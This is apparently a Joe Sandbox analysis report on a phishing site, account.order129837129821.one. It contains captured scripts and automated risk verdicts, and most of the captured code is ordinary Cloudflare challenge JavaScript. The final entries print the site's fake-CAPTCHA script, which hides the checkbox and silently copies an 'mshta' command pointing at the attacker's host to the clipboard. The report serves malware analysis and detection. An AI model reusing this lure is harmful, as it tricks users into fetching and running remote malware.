Number of injected processes analysed:	1
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.win@35/12@23/179

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 64.233.165.84, 172.217.17.46, 34.104.35.123
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

LLM Input / Output

Input	Output
URL: https://account.order129837129821.one Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://account.order129837129821.one
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "Script shows multiple high-risk indicators: heavily obfuscated data/URLs (long encoded strings), suspicious domain pattern (account.order129837129821.one), and uses challenge-response tokens typical of malicious redirect chains. The domain structure and extensive parameter encoding suggest potential phishing or malware distribution infrastructure." }
(function(){window._cf_chl_opt={cvId: '3',cZone: "account.order129837129821.one",cType: 'interactive',cRay: '8eb9be533d70c47f',cH: 'FCT699nypcPmyPw4UIalWmkh1Er3S1imX.tjXSUin9c-1733126008-1.2.1.1-2htOy8yD9P4qaMJv0WRRqe4AYOtmhKhpAXleS4Ul96Iiwy._TK5E2jVCRckBSpgp',cUPMDTk: "\/?__cf_chl_tk=KDWa0..Fbck9hKg3sDTsmfFTAkMIOcfZRuzpR0xglnE-1733126008-1.0.1.1-uaZeYgkOrt8TwpiIVQbEaYAygZ1M.Dmza1AFtuMwn1I",cFPWv: 'b',cITimeS: '1733126008',cTTimeMs: '1000',cMTimeMs: '390000',cTplC: 0,cTplV: 5,cTplB: 'cf',cK: "",fa: "\/?__cf_chl_f_tk=KDWa0..Fbck9hKg3sDTsmfFTAkMIOcfZRuzpR0xglnE-1733126008-1.0.1.1-uaZeYgkOrt8TwpiIVQbEaYAygZ1M.Dmza1AFtuMwn1I",md: "ZxhHHiQO7WwCWIfntCATnfsgAEOZpDkCIFoVBkW_r64-1733126008-1.2.1.1-tZ4jY9Vjem1GmUJ149OGF.7hl83j665o6mDnRvZygicldYQh44wlo6Qco_kEGfWSSeKM1YIOzyspHCIrH9xIxJQGytrJJ7hmtdu7D0Z6UbkTogFzGoU3tSGuj8aFiQo0f09TLU_YMyPNyo.P8Yuu5r9TXq4xLMHg2q2Aq_475GjRe2P4a2pB0WUJ9_cbpfMvj1pcpKfjVLf0bMBmpIvsELre2kb0QR4yRBzMIrMw_xzuaHrFi_KkdpeFfNI_u8y0wcRuuPfRAls9Ifv3JDdnK9Hjsv6feB0m53SoXwtW9Yhwv1O6wpC7FWBu7d7Z07H0dZNk2ZSHyqMx3tf.FJdZmh7Q_wDnZpoGSzujcbhaMw359EDfYhybtcXRMzd0I03SZbUokFKdCb.hwnCUwnGDEDFuGhvKntEDM96OHs07zp4bHWKUWkNHEGr93pvqqDuAO9POkdCbmFXShCXYfrIB7_vuxN59eXRzVDmRFm9ZREFlIStXZW802eekUXSNcvnjUtfookTk81y8gzcBpGk6xadZitF21QUnTDUPBV2C6K3hTOdWSp_U41KHDks7kZbhqUFaVprHSsD5V3w1BbE8EuQjwK5xHmN8Ry2tiqh1uLq7i8qrabe8UE_vpOnb0aMjq9mLVmuGi.KFm5_9j.QZAaf.9p7PYEzMqeWdtGDHmg8EAmymDiEy3iVYB7YvM.ZMFUiBtUWROWzkKI1ofYqA6gHQNzveCcRdRTXssLI4bjpb5S35Ljh7WunPMyk2zv8wOCj7ripWGuiqoJsKTVcc8pLX4vGCgukrVKp4IcQ0.Y6PYvtvlh0nvcgQ52gr8BImJioyWKiV8JF3w3Rdgyg3_IrhS.MeRFmJZSI22v59CPhYXt46JYV7IPbDInof58hybj69Yufo5DY2DkrT5qOl370PIAx7.cw18mCMeTT62IG50Zj0eKnS4C6O2c8gQCRAjluzZKWXOKBS7dpP2sJpYFSRfjdApWYkcIaRIJ1I8Mqx8CAusAAu5Hs8SPav62MOLuX5TYhRQMIaLbbxX8oLCJhQA2K5.xxJSXkucJ_phyWXSqCCGImaIK5ruiAYQR9xKsc17_RibEI9nS75Sk3EkCqfa.imIyh7hEpv1Vq2vvXyGaVpWwg.jpZ1I51J22ARQDNlVyCyu5kyJF.Khe7YLCBdcnQe5ESTYpP5exgcuWzm.yl5K.9vhJZ9ShDo2r5bZKZdXIDDEQjHV7uSgNuhPXZde_WPP8irVNVlaxtVSovaC87e.7pXQDs3apyCgkeu8shuVpVV3fDoveW6MOgjVkq5T4SfsQc3I_Z0HMpBj2Ogt8jWeGxotlAM2SKXyOpcFToYyxc1Z5gWa6C4ffKF23xbsLFbrdR8EXo5vE5BXS1xCLsMysz9bRIjZ5gMOAxftwvhDaZFoMtWlpJ5FrrkqbjD7SjI4qUqXjyqBFCotu7ja0bLxAL7p5EoQhtgyusiIV6NnM8X41R5NCEbDT_i9EQcu9KCq1YE45Pvo0IfC4qkZDP2KpgE4u06npOeImxIQSE9KBErJYANtz5wJ_6FEf2yuKsulqK3TNW1Vj9kEYu2Bvu96eCPTK1FINZr1JaMkKhKrtOpS9HouQn6kzJSuG52gHPF1Dsp1ognYwqPhwMmTpdULYGxg4m04xNoLR.LdCzbpZigAKzhlC1TwZ3N4DC6kO6WXxjKhEtCwNSZqDp.JQJROLe_72UJg_TQO0xgnDjoukcL_wPnuyGW80LZ59YR9jsgUqxJ2OR5jc1rexW7KiUulPpYS8sAuKaTFEM6v063.nCgKzGmwJaAGg0mrNXTee7Y7xsLmdhJfv1nyNvl5Nc8yX..nuGqf_qLdRxUyDFTqSXNlRuWg7YFKaupqJSjZySFIHcKD4j0Q6y07ChwnDtVfEX32MagcgJwQp13",mdrd: "WTaPdakp890BgjjYs0wuXn2cmXRf24bvkkL8hzAz3lg-1733126008-1.2.1.1-G4cG22DTpCCoMY3TUSwurMbSJsaKd1HVpKHtwuojv8KpuhGV54GJw7iGo8BBiCk9y8GPZVC_dKJS_We8TpSCcPtN_Z5DJ6oe7QqsQDDf7BYYJOAD2buS_jeFMDaRspBhg22.dm7zgCAsOrDkO2YjnXMnysqpFjd6k_krD6.vz8zZr5vk2g1TQdL67ULT_VrD7OE3Jmwr8zRbHhzSfTe2LJiN_gb4DvzEt1ctLD5ybcKb5PnSdqDvvVeHR2omYMq.Ym4wWwQjoJUYCSdVE.ytKW5rphM84DrE2Dx3AN81LQ8zr2TMjTJ4C4NIXpgm5yAfn8NYIoYJG.FYE6o1eDix6EMub2y5lPon1XJ2LVJbxAOEID9O5ggNid_z0VLJG1KcaUn5j8R1rnaS0BGY5HL6mhsYt22gJqrnyYcfYp6g9LtnYbHQsrXbFKMozqRBQFw77V6aL2U3z94No_Cl7bDMjbN.Z0Md8BbmmUvEVVUQSKzjXee5aEZm5jVSeANM3G285pFFSjPfJsFjsNdxS78YbN2fQbTYjvgvIfnhwlwIBRpVhsSc2GNTxh_nHmfFYMtjPdrlThgE95QXDwGOAJpg2UW56ps0RujKv4_tFLj8JgQOQg8ZCyN40FS3QUXSkwzDLQjnpWVdCCXraSNJF3ZLoIfjhyx7lf_qwFrzExUlwfE8eF5o4zxRAQQyYH_nT4td6ycSt1kDZM4yyhoZQvyfm7PGXzmndykE2GOCoJ_0Bk_Yd8PVQQH8Qr30GzRuMZFyLpxJF_tfhjzPJuP7jkIr8dFL9rYITK_D.DUTkN_smh3zhmh8mHRZHKRgrjfgyBFDrcG0XJocxXWt3dG.bEhNsQ.Ngy8dWxcAQL39zQRKmpgxQOJ03Z6clGaYVP5ZfAmHn02ZAWyESW8x9MxM7GYiqeyhmWk_wuG47bGU8lTqXZXPiWcc9hH7b4fkcM7Moe.RQINuBeQScAbvwD_5rfTb5Ia9cztNVGrNiUxqhx8Ms6kEnO0IibeyGwamf_6QpGTw0D1Ovsq.mP_nHvzjlKEKZW6g23MTJx8sSOC_m1xhP62pbWJdA3E3Cwv3bgq3.8XixyI9E_sz_5n9crb3cjxqNtZ2EYNU2i4gkONNqECAEzkFqfKx_eribpZaMRk4BCKJDxw3vstidY8ar2op5IKeJTb95jmLxWAwwr61TqHOx7uwDNocMjG5kaw9XT8j7aIcH6L2aC0rawEFv30CMVRXoJ.tquZLQN077RsMUfM7CMlMrVN2Q9J8KY82eeKLuOlN6pyLrulqiIEznLrzzYFhXzUsShk2yNIF_6
URL: https://account.order129837129821.one/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying you are human. This may take a few seconds.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be legitimate Cloudflare challenge configuration code. It contains translations and settings for Cloudflare's security verification system, interacting only with cloudflare.com domains. The code is URL-encoded but not maliciously obfuscated, and serves a legitimate security purpose." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"check_thirdparty":"Please%20unblock%20challenges.cloudflare.com%20to%20proceed.","time_check_cached_warning_aux":"%3Ca%20class%3D%22refresh_link%22%3ERefresh%20the%20page%3C%2Fa%3E%20to%20try%20again.%20If%20the%20issue%20persists%20attempt%20a%20different%20link%20to%20get%20to%20the%20desired%20page.%20Alternatively%2C%20try%20going%20to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","js_cookies_missing_aux":"%25%7Bplaceholder.com%7D%20needs%20to%20verify%20you%20are%20human%20before%20proceeding.%20Please%20enable%20JavaScript%20and%20cookies%2C%20then%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E.","footer_text":"Performance%20%26amp%3B%20security%20by%20Cloudflare","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","cookies_missing":"Please%20enable%20Cookies%20and%20reload%20the%20page.","challenge_running":"Verifying%20you%20are%20human.%20This%20may%20take%20a%20few%20seconds.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","review_connection":"%25%7Bplaceholder.com%7D%20needs%20to%20review%20the%20security%20of%20your%20connection%20before%20proceeding.","redirecting_text_overrun":"%25%7Bplaceholder.com%7D%20is%20taking%20longer%20than%20expected%20to%20reply.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","browser_not_supported_aux":"%25%7Bplaceholder.com%7D%20needs%20to%20verify%20you%20are%20human%20before%20proceeding.%20Your%20%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%27challenge.supported_browsers%27%3Ebrowser%20is%20unsupported%3C%2Fa%3E%20and%20unable%20to%20complete%20verification.%20Try%20a%20different%20browser%20or%20make%20sure%20your%20browser%20is%20updated%20to%20the%20newest%20version.","success_title":"Verification%20successful","interstitial_helper_title":"What%20is%20this%20Page%3F","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_timeout":"Timed%20out","human_button_text":"Verify%20you%20are%20human","js_cookies_missing":"Enable%20JavaScript%20and%20cookies%20to%20continue%20verification","redirecting_text":"Waiting%20for%20%25%7Bplaceholder.com%7D%20to%20respond...","stuck_helper_explainer":"If%20you%20are%20stuck%20on%20this%20page%2C%20your%20device%20or%20connection%20has%20been%20flagged%20as%20a%20bot.%20Try%20resetting%20your%20device%20or%20internet%20connection%20%28e.g.%20router%29.%20For%20additional%20assistance%2C%20contact%20the%20site%20owners.","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","location_mismatch_warning":"Website%20is%20not%20accessible%20via%20this%20address.","stuck_helper_title":"Stuck%20on%20this%20page%3F","turnstile_overrun_description":"Stuck%20here%3F","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","interstitial_helper_explainer":"%25%7Bplaceholder.com%7D%20uses%20a%20security%20service%20to%20protect%20against%20malicious%20bots.%20You%20may%20see%20this%20page%20while%20the%20site%20verifies%20you%27re%
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This is a legitimate Cloudflare challenge script used for their security verification system. It sets up configuration options and handles cross-frame messaging for challenge verification. While it uses window.postMessage (+1) and parent frame access (+1), these are standard practices for Cloudflare's security challenges. The domain is trusted (Cloudflare), and the behavior is consistent with its intended security purpose." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'mbtkn', chlApiSitekey: '0x4AAAAAAAAjq6WYeRDKmebM', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: '1/kVL2t161R37ZZrj_', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '8eb9be888ae94201', cH: 'f42qsifH9UkBUeGOF2pysMx6ybeJzP.Y49A0Py3_1_s-1733126017-1.1.1.1-ADx.CY9myLdgNZ6IW4Dp9L3H4sA3C8IUO2KUR5rGXKZNYG62G.nDUHQ8ohYbEZtq', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'light', wS: 'normal', md: 'lhXFqlqb1rYweF60lcKeAjyQw6ObMRgmkRXzpz29DFU-1733126017-1.1.1.1-mB.irMaDq4oST6iO2xdr6LA4rnFWLlKU9hehH_ll7Iha4Ykbye4LM1KKE3HiFeAagdIwZh_VewcITE42Q5_JPB2ErOAeCv8oc64qMp8ck7Y7mOnQ6F6VqdG7NmjPit3cwpsdfnNsmO3uOBSNR_HGmd.WUZukxN1TLp6fnNRUAniQsmNcM5KS4y3vSNzKdmrhYVDYlStzd3UqBNdB6pEpX6TTjyRdHwadlgIJf8bf9styfY96VM3QcSMhw64GN4SMFlam7cGtlWka7KS3xnE4dIEfJu1eTReL5RpspjQrs3xHUVSnqVm6EIieQN3FKeBMke5OKTxDbHcFoDNSzp2DVNPrKGZVrzZzYoDN8VIqKgYQFRKeTD_BqPIxH8uH4MZVAa2NOQfn8fDAtndg5wVD_QNVBS55GtVKwO7o5m7EvKfzpZmxb5eEbIkQsRXQ1kBoUxeNltnIktWMi1KK72VRf9E646BtkV2Tn0fB__oReLj_t6lIskNBcDwGZBL_iCbGqHNVc7wbe36rEH_sSiZCevufcd3v0BgK0.j4yrCrLpPZYzx5dpzhLWnHsmYqA4RCANnR_9kYqp0tbI4GjTtjDppm0RMgmpSqPjjqbB2xr0Wbra9CNxTE5ur6rDPKvRogQJY..vvnwx_.E8gJ8QnTusMIUTcHhcD.jqP8XMFXwhY7DHiYgRdSTND2eilB38tfpLZOcmD3lomnHzn7FLFT8c4.oKvrLVV5fH4_tB5UxWOIG.liM.cq6UUr.nblGWIYJErxLvRC0zM3UXQRsaD2ME8kcte3deyJu4NwxLrEK7kPHdXEtMr9ysBrq1.MGG6_tV_b6YXW4hI9fu0ECH.s0CqGgi01wg_4QD6uQes.5IetQQGUWXu6BCWPWyRdf90HChiphUnWEa8XzWCeedxMiH0EIzCTRZlSZudtrcygRW2DnhMVYZM2S16NTzp3jBH6MJSYmww7G2vOUDWNTi.954.KvquXXnglhrE5.MhtYTZKGruaU2T2R5SpQQGTpEdfEIbOnwey3My2mfTzvdG2K3b0c_ACU8de7YFEG_m5S7CFn2HA1wIArYwLmv8TJGh4DntQHG1Zhb5C98320hpvoWN58rK9DZv0jNKunCtgRuZzvAxKNi0XgYWFPMJUWF5X.QodN0pKp908f6wwZH.RNqzNkfqMrFK7M7cXwupci_w786ybm8tO1yzJgjnk20zsrWmCyUqB3Pr9XFS9mS5tUWXWdmwRU3CVgbeN2NGRqZvmvWpbez_DN0_V2qiemZYp5kwI40TWUoD7oJGQz.TcL58EsMhH0q_BPqW.CVsGutPhM5zaAqPSd8n5pm6HbnvNPoQJduR0Uc_HnI7u2snJDA', cITimeS: '1733126017', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'mbtkn', nextRcV: '1/kVL2t161R37ZZrj_', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://account.order129837129821.one/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate Cloudflare Turnstile (CAPTCHA/challenge) implementation script. It contains standard error handling, Promise implementations, and type definitions. While it uses some complex code patterns, these are typical for production JavaScript libraries and show no signs of malicious behavior." }
"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Sr(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function jt(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function zt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function Gt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Xt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun
URL: https://account.order129837129821.one/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify you are human by completing the action below.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://account.order129837129821.one/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be legitimate Cloudflare challenge/verification code. It contains obfuscated code (+3) but is from a trusted domain (Cloudflare, -2) and serves a legitimate security purpose (browser verification, -1). The script includes standard Cloudflare challenge parameters, translations, and security verification logic." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"testing_only":"Testing%20only.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_expired":"Expired","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_footer_privacy":"Privacy","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_success":"Success%21","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","human_button_text":"Verify%20you%20are%20human","turnstile_timeout":"Timed%20out","turnstile_overrun_description":"Stuck%20here%3F","turnstile_feedback_description":"Send%20Feedback","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_refresh":"Refresh","turnstile_feedback_report":"Having%20trouble%3F","turnstile_verifying":"Verifying...","turnstile_footer_terms":"Terms","turnstile_failure":"Error"},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eV,eZ,f0,f1,f5,f6,f9,fc,fe,ff,fg,fs,fE,fK,fL,fM,fW,g7,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1247))/1+-parseInt(gI(1113))/2(-parseInt(gI(561))/3)+-parseInt(gI(1460))/4+-parseInt(gI(1828))/5(parseInt(gI(919))/6)+-parseInt(gI(1735))/7+parseInt(gI(1966))/8+parseInt(gI(1017))/9*(parseInt(gI(924))/10),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,951056),eM=this\|\|self,eN=eM[gJ(1567)],eO=function(gK,d,e,f,g){return gK=gJ,d={'ltGCH':function(h,i){return h<i},'RpyAd':function(h,i){return h+i},'apbgz':function(h,i){return h>i},'gjJGb':function(h,i){return i==h},'aTVem':function(h,i){return h-i},'MzDor':function(h,i){return h(i)},'SPtDL':function(h,i){return i&h},'utYGK':function(h,i){return h-i},'mPWZs':function(h,i){return h\|i},'FLrwM':function(h,i){return h<<i},'HlHcu':function(h,i){return i\|h},'XAZak':function(h,i){return h<<i},'TSOmv':function(h,i){return h&i},'QwVJk':function(h,i){return h==i},'uLTOw':function(h,i){return h>i},'hJTKm':function(h,i){return h<<i},'lYRtH':function(h,i){return h-i},'FwKOE':function(h,i){return h-i},'aYImR':function(h,i){return h(i)},'nHiJR':function(h,i){return h==i},'udXIr':function(h,i){return h-i},'sTYXJ':function(h,i){return h\|i},'eJSBR':function(h,i){return i&h},'JWcsI':function(h,i){return i==h},'nGJFD':function(h,i){return h(i)},'gOygD':function(h,i){return h<i},'ASIKz':function(h,i){return i\|h},'VIzxs':function(h,i){return h<<i},'obkyl':function(h,i){return h&i},'Clvvq':function(h,i){return h<i},'SgkzA':function(h,i){return h+i},'fLssV':gK(1436),'oVbbX':gK(1190),'NyxlT':function(h,i){return i==h},'kCWLz'
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk due to multiple suspicious behaviors: 1) Attempts to copy malicious command using mshta (a known attack vector) to clipboard, 2) Manipulates reCAPTCHA elements to hide them, suggesting CAPTCHA bypass attempt, 3) Command injection potential through template literal. Pattern matches typical phishing/malware deployment tactics." }
async function copyToClipboard() { var copyText = `mshta ${window.location.origin}/captcha # ''I am not a robot - reCAPTCHA Verification ID: 3781''` try { await navigator.clipboard.writeText(copyText); } catch (error) { } } function someEdit() { document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none' document.getElementsByClassName("loadImg")[0].innerHTML
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk script that attempts to manipulate reCAPTCHA elements and creates a command using 'mshta' (Microsoft HTML Application Host) which is commonly abused for malware execution. The script hides legitimate CAPTCHA elements, shows a fake loading animation, and attempts to copy a potentially malicious command to clipboard. The use of mshta and manipulation of security controls (reCAPTCHA) are strong indicators of malicious intent." }
async function copyToClipboard() { var copyText = `mshta ${window.location.origin}/captcha # ''I am not a robot - reCAPTCHA Verification ID: 3781''` try { await navigator.clipboard.writeText(copyText); } catch (error) { } } function someEdit() { document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none' document.getElementsByClassName("loadImg")[0].innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32" height="32" xmlns:xlink="http://www.w3.org/1999/xlink"><g><circle stroke-dasharray="155.50883635269477 53.83627878423159" r="33" stroke-width="12" stroke="#4d90fe" fill="none" cy="50" cx="50"> <animateTransform keyTimes="0;1" values="0 50 50;360 50 50" dur="1.3888888888888888s" repeatCount="indefinite" type="rotate" attributeName="transform"></animateTransform> </circle><g></g></g></svg>` setTimeout(function () { document.getElementsByClassName('sjgdhfgas34')[0].style.display = "block" copyToClipboard() }, 2000) }
